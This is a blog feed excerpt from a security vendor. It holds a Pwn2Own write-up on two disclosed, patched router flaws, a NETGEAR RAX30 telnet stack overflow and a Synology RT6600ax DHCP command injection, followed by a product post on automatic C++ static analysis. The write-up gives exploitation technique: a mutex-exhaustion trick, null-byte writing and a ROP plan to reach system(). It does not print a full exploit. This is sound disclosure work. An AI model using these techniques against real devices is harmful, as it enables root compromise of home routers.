sources of tainted data or potentially vulnerable sinks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar&amp;#x27;s SAST is available in SonarCloud and the commercial editions of SonarQube, and deeper SAST is available for JavaScript and TypeScript, as well as Java and C# projects, for no additional cost. Learn more about &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;deeper SAST at Sonar&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Patches, Collisions, and Root Shells: A Pwn2Own Adventure]]></title><description><![CDATA[We dive into the technical details of the vulnerabilities we identified as part of last year's Pwn2Own competition.]]></description><link>https://www.sonarsource.com/blog/patches-collisions-and-root-shells-a-pwn2own-adventure</link><guid isPermaLink="false">523a1a1e-d4d6-52e1-9088-d9f3d13ebfdf</guid><dc:creator><![CDATA[Paul Gerste, Thomas Chauchefoin, Stefan Schiller]]></dc:creator><pubDate>Mon, 14 Aug 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At the end of last year, members of our Vulnerability Research team participated in Pwn2Own Toronto 2022. In the months following our &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-at-pwn2own-toronto-2022/&quot;&gt;article&lt;/a&gt; relating our experience during this event, vendors have released security updates to address the security issues we reported during the competition. This article describes the technical details of these vulnerabilities and outlines one could exploit these.&lt;/p&gt;&lt;h2&gt;Pwn2Own - Discovered Vulnerabilities&lt;/h2&gt;&lt;p&gt;Router vulnerabilities submitted as an entry for the Pwn2Own competition are divided into the attack vector categories &lt;em&gt;LAN-side&lt;/em&gt; (exploitable from within the local network) or &lt;em&gt;WAN-side&lt;/em&gt; (exploitable via the upstream ethernet port).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered the following vulnerabilities when preparing for the competition:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;2 x LAN-side on the NETGEAR RAX30&lt;/li&gt;&lt;li&gt;1 x WAN-side on the NETGEAR RAX30&lt;/li&gt;&lt;li&gt;1 x WAN-side on the Synology RT6600ax&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A last-minute patch published by NETGEAR right before the competition fixed the two LAN-side vulnerabilities and made our NETGEAR WAN-side vulnerability ineligible for Pwn2Own. Since the underlying vulnerability was still present, we reported it to ZDI shortly after the Pwn2Own competition (&lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-23-839/&quot;&gt;ZDI-23-839&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our only valid entry for the competition was the WAN-side vulnerability on the Synology RT6600ax. Although we succeeded in demonstrating our exploit, teams used the same vulnerability before, making ours a duplicate.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We presented all the nitty-gritty details of these vulnerabilities at TyphoonCon 2023, and if you missed it we brought them here too! Let&amp;#x27;s dive into it. &lt;/p&gt;&lt;h2&gt;The LAN-side Vulnerabilities&lt;/h2&gt;&lt;p&gt;Both LAN-side findings on the NETGEAR router were also identified and documented in great lengths by other researchers. As we shared in the introduction, they were also addressed by a last-minute patch from NETGEAR that made them invalid for the contest. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because both vulnerabilities are very similar and considered easy to spot and exploit, we won&amp;#x27;t cover them in this publication; please refer to the external publications will link if you want to know more. On the day on which we got our hands on the NETGEAR RAX30, we identified a LAN-side command injection on a service named &lt;code&gt;puhttpsniff&lt;/code&gt;. This service is not directly listening on the network, but rather using netfilter to get packets – you could find it by looking at &lt;code&gt;NFLOG&lt;/code&gt; entries in the firewall. The vulnerability was also identified at least by &lt;a href=&quot;https://mahaloz.re/2023/02/25/pwnagent-netgear.html&quot;&gt;SEFCOM T0&lt;/a&gt;, &lt;a href=&quot;https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own&quot;&gt;Synacktiv&lt;/a&gt;, and &lt;a href=&quot;https://research.nccgroup.com/2023/04/24/hitbams-your-not-so-home-office-soho-hacking-at-pwn2own/&quot;&gt;NCC Group&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Shortly after, we found another command injection in the DHCP server of the NETGEAR router. The open-source daemon was customized to also call an external command to log information about the new DHCP leases. This, again, introduced a command injection vulnerability. This vulnerability was also identified at least by &lt;a href=&quot;https://starlabs.sg/blog/2022/12-the-last-breath-of-our-netgear-rax30-bugs-a-tragic-tale-before-pwn2own-toronto-2022/&quot;&gt;Starlabs&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can now get into the more interesting findings!&lt;/p&gt;&lt;h2&gt;NETGEAR RAX30 - cmsCli_authenticated Buffer Overflow RCE&lt;/h2&gt;&lt;h3&gt;Vulnerability Discovery&lt;/h3&gt;&lt;p&gt;The telnet service is implemented in &lt;code&gt;/bin/telnetd&lt;/code&gt;. The binary accepts connections on port &lt;code&gt;tcp/23&lt;/code&gt;, forks a new process, and binds stdin/stdout to the socket connection. In order to authenticate connecting users, the function &lt;code&gt;cmsCli_authenticate&lt;/code&gt;, implemented in the library &lt;code&gt;libcms_cli.so&lt;/code&gt;, reads the username and password in an infinite loop. The password is read via &lt;code&gt;getpass&lt;/code&gt;, which dynamically allocates a buffer and is not limited by size on glibc. The password is later copied to a 256-byte stack buffer using &lt;code&gt;strcpy&lt;/code&gt;. This results in a classical stack-overflow (code snippets shortened for better readability):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int cmsCli_authenticate() {
    char username[256];
    char pwd[256];

    // infinite loop
    while (true) {
        // read username
        printf(&quot;Login: &quot;);
        cli_readString(username, 0x100);
        // read password
        char *p = getpass(&quot;Password: &quot;);
        if (p != 0) {
            // copy password to 256 byte stack-buffer -&gt; OVERFLOW!
            strcpy(pwd, p); &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is one of the many vulnerability types SonarCloud detects automatically. With the &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/features/auto-analysis-for-c-and-cpp/&quot;&gt;new Automatic Analysis feature for C&amp;amp;C++&lt;/a&gt;, it is not even required to manually set up your project. With just one click, you can feed the engine with the decompiled C source code and it will be analyzed without any setup pain (&lt;a href=&quot;https://sonarcloud.io/project/security_hotspots?id=SonarSourceResearch_pwn2own-2022-blog&quot;&gt;see it for yourself&lt;/a&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ca69cf18-8c8b-483d-be1e-ebef054754be/sc-finding.png&quot; /&gt;&lt;p&gt;If you would like to know more about SonarCloud&amp;#x27;s Automatic Analysis for C and C++, have a look at our related blog post: &lt;a href=&quot;https://www.sonarsource.com/blog/no-c-static-analysis-does-not-have-to-be-painful/&quot;&gt;No, C++ static analysis does not have to be painful&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Back to our code snippet: After the username and password are read, the function &lt;code&gt;cmsLck_acquireLockWithTimeoutTraced&lt;/code&gt; is used to acquire a global mutex. The second parameter of this function (&lt;code&gt;6000&lt;/code&gt;) defines the timeout in milliseconds for acquiring the mutex. If the mutex cannot be acquired within this timeout, the function fails (return value != 0) and the infinite loop is left:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;        // acquire mutex with 6000ms timeout
        ret = cmsLck_acquireLockWithTimeoutTraced(&quot;cmsCli_authenticate&quot;, 6000);
        login_attempts++;
        if (ret != 0) {
            // failed to acquire mutex? leave loop!
            goto FAILED_MUTEX;
        }
        // ... perform actual authentication ...
     // ...

FAILED_MUTEX:
    // failed to acquire mutex -&gt; log failure and leave function
    log_log(3, &quot;cmsCli_authenticate&quot;, 0x73, &quot;failed to get lock, ret=%d&quot;, ret);
    return ret;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the mutex was successfully acquired, the function &lt;code&gt;cmsDal_authenticate&lt;/code&gt; is called to perform the actual authentication. If this function returns 1, the authentication was successful and the infinite loop is left:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;        // perform actual authentication
        ret = cmsDal_authenticate(&amp;local_240, param_1, username, pwd);
        cmsLck_releaseLockTraced(&quot;cmsCli_authenticate&quot;);
        if (ret == 1) {
            // successfully authenticated
            log_log(7, &quot;cmsCli_authenticate&quot;, 0xf1, &quot;current logged in user %s perm=0x%x&quot;, currUser, currPerm);
            // leave function
            return 0;
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the authentication fails three times, the next login attempt is delayed 3 seconds:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;        if (login_attempts &lt; 3) {
            puts(&quot;Login incorrect. Try again.&quot;);
        }
        else {
            printf(&quot;Authorization failed after trying %d times!!!.\n&quot;, login_attempts);
            sleep(3);
            login_attempts = 0;
        }&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Controlling the Instruction Pointer&lt;/h3&gt;&lt;p&gt;Exploiting the stack overflow itself is straightforward. The vulnerable function (&lt;code&gt;cmsCli_authenticate&lt;/code&gt;) is implemented in &lt;code&gt;libcms_cli.so&lt;/code&gt;, which does not have stack canaries:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ checksec ./lib/libcms_cli.so 
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found  # &lt;--
    NX:       NX enabled
    PIE:      PIE enabled&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thus the return address on the stack can be overwritten without triggering a stack smashing detection. The only challenge is to actually reach the &lt;code&gt;ret&lt;/code&gt; instruction of the vulnerable function. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we have seen, there are only two conditions, on which the infinite loop is left:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the authentication was successful&lt;/li&gt;&lt;li&gt;the global mutex cannot be acquired&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Without assuming that we have valid credentials, the only viable option is to make the acquisition of the global mutex fail.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to do this, we can put a heavy load on the router/mutex, so that the acquisition of the mutex times out after 6000ms. A suitable function for this can be reached via the web interface. The CGI script &lt;code&gt;/webs/tm_block/tm_block.cgi&lt;/code&gt; can be accessed unauthenticated and uses the global mutex in a very unfortunate way: After acquiring the mutex, some user-provided JSON data is parsed. After the data is parsed, the mutex is released:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void main() {
    // ...
    obj = json_tokener_parse(env.pSetQueryString);
    // ...
    // acquire mutex with 6000ms timeout
    ret = cmsLck_acquireLockWithTimeoutTraced(&amp;DAT_00015306, 6000);
    if (ret == 0) {
        // parse user-provided JSON data
        json_object_object_get_ex(obj, &quot;data&quot;, &amp;local_24);
        // ...
        // release mutex
        cmsLck_releaseLockTraced(&amp;DAT_00015306);
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By providing a huge amount of data in the request body, the parsing takes a lot of time. During this time the mutex is locked. By making multiple, simultaneous requests to this endpoint a heavy load is put on the router/mutex and the mutex acquisition of the telnet service eventually fails. This way the &lt;code&gt;ret&lt;/code&gt; instruction of the vulnerable function can be reached and we can control the instruction pointer:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bcd5c07a-658e-491c-842f-ad663d4d319e/anim_ip_control.gif&quot; /&gt;&lt;h3&gt;Overcoming Null-Byte Restrictions&lt;/h3&gt;&lt;p&gt;After controlling the instruction pointer, we can create the actual exploit. The &lt;code&gt;telnetd&lt;/code&gt; binary itself is compiled without PIE, which means we can use gadgets from it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ checksec ./bin/telnetd
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)  # &lt;--&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;One challenge still remains: The base address of &lt;code&gt;telnetd&lt;/code&gt; is &lt;code&gt;0x10000&lt;/code&gt; and thus the upper byte of any gadget address is null. Also, the choice of gadgets is very limited without a suitable pivot gadget. Thus we need more than one gadget, which requires us to write null bytes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This time, though, the infinite loop comes in very handy since we can exploit the stack-overflow multiple times. We can iteratively write all null-bytes by replacing these with a placeholder value and then reinsert the null-byte starting from the last one up to the first null-byte:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d4ac41d0-8d4c-4e42-add3-2e9f34d85ca0/anim_steps.gif&quot; /&gt;&lt;p&gt;This technique enables us to write an arbitrary ROP chain onto the stack. The overall strategy for this ROP-chain looks like this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;leak libc base address&lt;/li&gt;&lt;li&gt;calculate the address of &lt;code&gt;gets&lt;/code&gt; and &lt;code&gt;system&lt;/code&gt;&lt;/li&gt;&lt;li&gt;call &lt;code&gt;gets&lt;/code&gt; to read user input to a static, writable address&lt;/li&gt;&lt;li&gt;call &lt;code&gt;system&lt;/code&gt; with this address&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This way, an arbitrary system command can be executed. The following video demonstrates the exploit by establishing a reverse shell:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/ZTXQioLDqmE&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Last-minute patch&lt;/h3&gt;&lt;p&gt;The vulnerability could initially be exploited via the WAN interface due to a misconfiguration of the IPv6 firewall, which made the telnet service accessible via the IPv6 link-local address of the router. Unfortunately, this misconfiguration was fixed right before the end of the registration period for Pwn2Own. Since the buffer-overflow vulnerability was still present, it could be exploited via the LAN interface.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Disclosure and patch&lt;/h3&gt;&lt;p&gt;We reported the vulnerability to ZDI outside the Pwn2Own competition (&lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-23-839/&quot;&gt;ZDI-23-839&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-34285&quot;&gt;CVE-2023-34285&lt;/a&gt;) and NETGEAR released &lt;a href=&quot;https://kb.netgear.com/000065696/RAX30-Firmware-Version-1-0-11-96-Hot-Fix&quot;&gt;Hot Fix 1.0.11.96&lt;/a&gt; on 05/31/2023 to address it. The patch adds an additional &lt;code&gt;memset&lt;/code&gt; call to initialize the password destination buffer, which prevents the before-mentioned null-byte technique. Also, the call to &lt;code&gt;strcpy&lt;/code&gt; is replaced with &lt;code&gt;strncpy&lt;/code&gt; limiting the amounts of bytes copied:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;char pwd[256];
char *p = getpass(&quot;Password: &quot;);
memset(pwd, 0, 256);
strncpy(pwd, p, 255);&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Synology RT6600ax - dhcpcd WAN RCE&lt;/h2&gt;&lt;p&gt;The Synology RT6600ax firmware &lt;code&gt;SRM 1.3.1-9346 Update 2&lt;/code&gt; uses &lt;code&gt;dhcpcd 1.3.22-pl1&lt;/code&gt; as a DHCP client to get an IP address from its WAN-side upstream router. When the device receives a configuration via DHCP, the newly assigned IP address and other values supplied by the DHCP server are written to the file &lt;code&gt;/etc/dhcpc/dhcpcd-eth0.info&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;These values are stored in the same way you declare shell variables, with an uppercase name, an equal sign, and the value. These values are not encoded nor sanitized in the process–they can be arbitrary strings. Remote attackers have very limited control over values like IP addresses, but more control over other DHCP options like &lt;code&gt;domain-name&lt;/code&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d8afbead-b5fc-4cfc-88dc-e1f5e0870266/dhcp1.gif&quot; /&gt;&lt;p&gt;After receiving a configuration via DHCP, the client invokes the shell script at &lt;code&gt;/etc/iproute2/script/dhcpcd-up&lt;/code&gt; that runs some commands to properly configure the device&amp;#x27;s networking. This script evaluates the previously written file (&lt;code&gt;/etc/dhcpc/dhcpcd-eth0.info&lt;/code&gt;), which constitutes a Command Injection vulnerability via DHCP-supplied values:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f431d62d-3d86-4f86-9eb3-8af5692ed703/dhcp2.gif&quot; /&gt;&lt;p&gt;Since the &lt;code&gt;dhcpcd&lt;/code&gt; client runs the shell script as root, any sub-shell command will also be run as root. An attacker can use this to run arbitrary commands and compromise the device:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/yJcgalDmQBQ&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Synology addressed this vulnerability by using their utility &lt;code&gt;synogetkeyvalue&lt;/code&gt; to parse and extract values from the file &lt;code&gt;dhcpcd-eth0.info&lt;/code&gt; in a way they don&amp;#x27;t need to evaluate it as a shell script.&lt;/p&gt;&lt;h3&gt;Results&lt;/h3&gt;&lt;p&gt;During our Pwn2Own live attempt for this entry took we were able to successfully exploit the vulnerability to retrieve a root shell on the router. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, we were picked as the very last during the random drawing to determine the order of attempts and another team already leveraged the same vulnerability before us making this a duplicate. Nevertheless, we were still satisfied to at least get one successful entry through. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability is tracked as &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-23-662/&quot;&gt;ZDI-23-662&lt;/a&gt; / &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-32955&quot;&gt;CVE-2023-32955&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Pwn2Own - Summary&lt;/h2&gt;&lt;p&gt;The Pwn2Own competition is not only fun but also a great opportunity to contribute to the security of popular consumer devices. There are a lot of interesting targets and the discovered vulnerabilities have a real impact on the security of these devices. During the competition, an astonishing amount of 63 unique zero days were reported; congratulation to all the participants for these findings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From a technical point of view, it is interesting to note that most of the system daemons deployed on the routers we look at are based on open-source implementation with some customizations. These changes are not done by the original developers of these daemons, and are very prone to vulnerabilities!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to the great contribution to the security of these devices, there is a lot of educational content created around the Pwn2Own competition. The writeups and articles created by attendees are a great resource for all security researchers. We are keeping track of publications and adding these to the corresponding &lt;a href=&quot;https://en.wikipedia.org/wiki/Pwn2Own#Toronto_(December_6%E2%80%939)&quot;&gt;Wikipedia article&lt;/a&gt;; feel free to add any missing references!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, many thanks to the ZDI for this great event! We are looking forward to the next Pwn2Own competition.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonar-at-pwn2own-toronto-2022/&quot;&gt;Sonar @ Pwn2Own Toronto 2022&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/typhooncon-2023-wrap-up/&quot;&gt;TyphoonCon 2023 Wrap Up&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[No, C++ static analysis does not have to be painful]]></title><description><![CDATA[No C and C++ static analysis does not need to mean difficult configuration and pain.  We explain how Sonar has made the impossible possible with one-click analysis for projects hosted in GitHub. A free automatic analysis of C and C++ projects.]]></description><link>https://www.sonarsource.com/blog/no-c-static-analysis-does-not-have-to-be-painful</link><guid isPermaLink="false">6e4e4e33-0965-539c-9970-1dd9127d1b0d</guid><dc:creator><![CDATA[Geoffray Adde]]></dc:creator><pubDate>Sun, 13 Aug 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;In a nutshell&lt;/h2&gt;&lt;p&gt;30% of C++ developers are not using static analysis at all&lt;sup&gt;1&lt;/sup&gt;. Of those using static analysis, maybe half are not using static analysis tools for teams. Why is that so?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;It is received wisdom that C++ static analysis is a pain to get properly working. But again, why?&lt;br/&gt;Generally, it is because C++ tooling is very fragmented and building C++ projects is far from streamlined. Static analysis is commonly configured with information from that build. But there is no way to get it automatically; hence the pain.&lt;br/&gt;So it seems impossible to offer serious C++ static analysis with a great configuration experience. Users must suffer the pain, or not use it at all.&lt;br/&gt;Well, at Sonar we believe in making the impossible, possible and so we&amp;#x27;ve gone ahead and solved this once and for all!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud’s automatic analysis for C++ simplifies the process of code analysis by enabling you to analyze your code with just one click, eliminating the need for any manual effort on your part. Better still, it is free on SonarCloud for public projects. You can use it on your own public project or just fork any open-source project on GitHub and get it analyzed.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before we talk more about this achievement let&amp;#x27;s dig into why it&amp;#x27;s so important to be able to analyze C++ code, and why, until now, it has been so hard.&lt;/p&gt;&lt;h2&gt;C++: a difficult language that can truly benefit from static analysis&lt;/h2&gt;&lt;p&gt;C++ has fervent supporters and detractors. The iconic pros and cons have been discussed in great length.&lt;/p&gt;&lt;p&gt;Here, I would like to look at it from the angle of static analysis users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;C++ is a very flexible multi-paradigm programming language. It enables high-complexity software development with very refined patterns. At the same time, it can be very complex, making it elitist and very easy to misuse. Static analysis tools can mitigate this downside without detracting from C++’s power.&lt;/li&gt;&lt;li&gt;Simultaneously, C++ allows (very) low-level programming, including direct access to the hardware and using an assembler. It addresses a vast range of application domains, including those related to embedded applications. As a drawback, manual resource management is very error-prone and can lead to critical consequences. After all, memory management and access is the first known source of vulnerabilities&lt;sup&gt;2&lt;/sup&gt;. Here again, static analysis can help by pointing out pieces of code that go against good practices and catching some very nasty bugs such as memory-related issues.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Obviously, at Sonar, we believe in the genuine value that static analysis can bring. And we are sad that 30% of developers state they are not using any Static Analysis tools&lt;sup&gt;3&lt;/sup&gt;. We think that all developers should use such tools.&lt;/p&gt;&lt;p&gt;The remaining 70% use a wide variety of tools but mostly those built into their IDEs. Of course, they all have different capabilities, and although I believe Sonar offer the best ones for most situations, this is not my point here.&lt;br/&gt;&lt;br/&gt;While static analysis should be considered essential, &lt;em&gt;how&lt;/em&gt; this analysis is delivered definitely matters. Many of us have heard of “&lt;a href=&quot;https://en.wikipedia.org/wiki/Shift-left_testing&quot;&gt;shift-left&lt;/a&gt;”. In that context, your IDE is the first place you should get your code analyzed. In this regard, we offer &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/?gads_campaign=SL-Class02-Brand&amp;gads_ad_group=SonarLint&amp;gads_keyword=sonarlint&amp;gclid=CjwKCAjw2K6lBhBXEiwA5RjtCTC-PSF7Gc2ow8ky-98SR-_rI_RrabM8nzTetcTACgXQ9WkG94cLNhoCydsQAvD_BwE&quot;&gt;SonarLint&lt;/a&gt;. It brings, for free, the benefit of the Sonar experience and detection capabilities straight into your IDE.&lt;/p&gt;&lt;p&gt;But your static analysis should not end in your IDE. Once written and checked in your IDE, your code is committed to some repo, often through development branches and pull/merge requests. At this point, the team gets involved. We want to collaborate on the code, prevent unclean code from getting to the code base, and track issues.&lt;br/&gt;That’s precisely where central static analysis tools kick in. For this, we offer SonarQube and SonarCloud.&lt;/p&gt;&lt;h2&gt;Setting up C++ analysis outside an IDE can be painful&lt;/h2&gt;&lt;p&gt;In their IDE, most developers would have their project set up for building and debugging. At this point, built-in analyzers or even external linters like SonarLint can use this information to analyze your code accurately. Static analysis then comes with no extra pain. This is probably the main reason why at least 40% of developers make use of an IDE analyzer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Setting up C++ analysis for a central static analysis tool is a whole different story.&lt;br/&gt;Whereas most popular and modern compiled languages have streamlined their build system, modules, and dependency management systems, C++ is still fighting with ancient tooling inherited from C.&lt;br/&gt;Preprocessor macros, header files nightmares, 30+ compilers&lt;sup&gt;4&lt;/sup&gt; often with their own language extensions, 15+ vastly different build systems&lt;sup&gt;5&lt;/sup&gt;, no widely used dependency management system; any of these components can also be custom-made and unheard of.&lt;br/&gt;it&amp;#x27;s as if some mischievous spirit set out to ensure every build is unique in irrelevant, yet confounding, ways.&lt;/p&gt;&lt;h2&gt;An inconvenient fact&lt;/h2&gt;&lt;p&gt;So, there is no universal recipe to understand how a C++ code base is built and hence no way to configure an analysis accordingly. So far, our industry concluded that there is no way to self-configure C++ static analysis. From that perspective, we made the impossible, possible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Nowadays, all advanced static analysis tools for C++ need to know precisely how to build your software to overcome this inconvenient fact. It can be done in multiple ways. They often rely on monitoring the build process to gather information about the compiler and its arguments.&lt;br/&gt;This information is enough to specify how to interpret your C++ code fully.&lt;br/&gt;On paper, this is bulletproof. In reality, quite a few caveats contribute to making this technique not so universal.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From a user experience perspective, let’s be honest: it is pretty steep and, often, not that smooth. This holds for all vendors.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You need to understand how the project is built in order to analyze it.&lt;/li&gt;&lt;li&gt;You will have to touch the CI and that may get messy.&lt;/li&gt;&lt;li&gt;You need a bit of luck and skills to avoid the multiple caveats of this approach and the tool you use.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Setting up an accurate C++ analysis has never been a piece of cake—at least, not a tasty cake.&lt;/p&gt;&lt;p&gt;Of course, some vendors offer alternative, easier ways for specific cases. But then you need to understand when to use which configuration technique, which does not make it simpler.&lt;/p&gt;&lt;h2&gt;SonarCloud’s automatic analysis for C++&lt;/h2&gt;&lt;p&gt;What if we had a solution that can analyze almost any C++ project you throw at it without any intervention from the user? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the magic that we call &amp;quot;automatic analysis for C++&amp;quot; and you&amp;#x27;ll find it on &lt;a href=&quot;https://sonarcloud.io&quot;&gt;SonarCloud&lt;/a&gt;.&lt;br/&gt;You can analyze almost any C++ project&lt;sup&gt;6&lt;/sup&gt; hosted on GitHub in one click. Literally!&lt;/p&gt;&lt;p&gt;No need to wrap your build, use alternate ways, and cope with various caveats.&lt;br/&gt;Actually,&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You do not need a CI.&lt;/li&gt;&lt;li&gt;You do not even need to build the project.&lt;/li&gt;&lt;li&gt;You do not even need to know the project.&lt;/li&gt;&lt;li&gt;You do not even need a keyboard. A mouse or a smartphone is enough.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition, you also get:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Pull requests decoration and Quality Gates to prevent bad code from getting merged&lt;/li&gt;&lt;li&gt;Automatic analysis for many other languages, including Java, Python, JS/TS, and C#&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On top of that, it is available &lt;strong&gt;for free, without any limitation, on SonarCloud for any public repo on GitHub&lt;/strong&gt;!&lt;/p&gt;&lt;p&gt;You can analyze any public repo on GitHub by forking it and going straight to SonarCloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Like every magic trick, you probably want to know what’s behind the scenes.&lt;br/&gt;As a good magician, I will not say much here. There is one fundamental idea making automatic analysis for C++ possible. Contrary to compiling code, you do not need 100% accuracy in understanding the code to produce a valuable and accurate analysis. As a result, we can analyze the source files independently from any other file. We are totally agnostic of any build system or dependency management system. The code and only the code. &lt;/p&gt;&lt;h2&gt;So, on SonarCloud, I can forget about configuring a C++ code analysis?&lt;/h2&gt;&lt;p&gt;We shaped this first version’s scope so that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It can give a valuable preview of our C++ analysis in almost every situation.&lt;/li&gt;&lt;li&gt;In most cases, there is no need to use a manual configuration over automatic analysis.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, for most users,  the answer to the question is yes!&lt;/p&gt;&lt;p&gt;Of course, there are a few cases where you would need to configure your analysis manually. A project requiring test coverage import is such a case.&lt;/p&gt;&lt;p&gt;All these cases are listed and explained in the &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/automatic-analysis/&quot;&gt;SonarCloud documentation&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Discover more&lt;/h2&gt;&lt;p&gt;I invite you to visit &lt;a 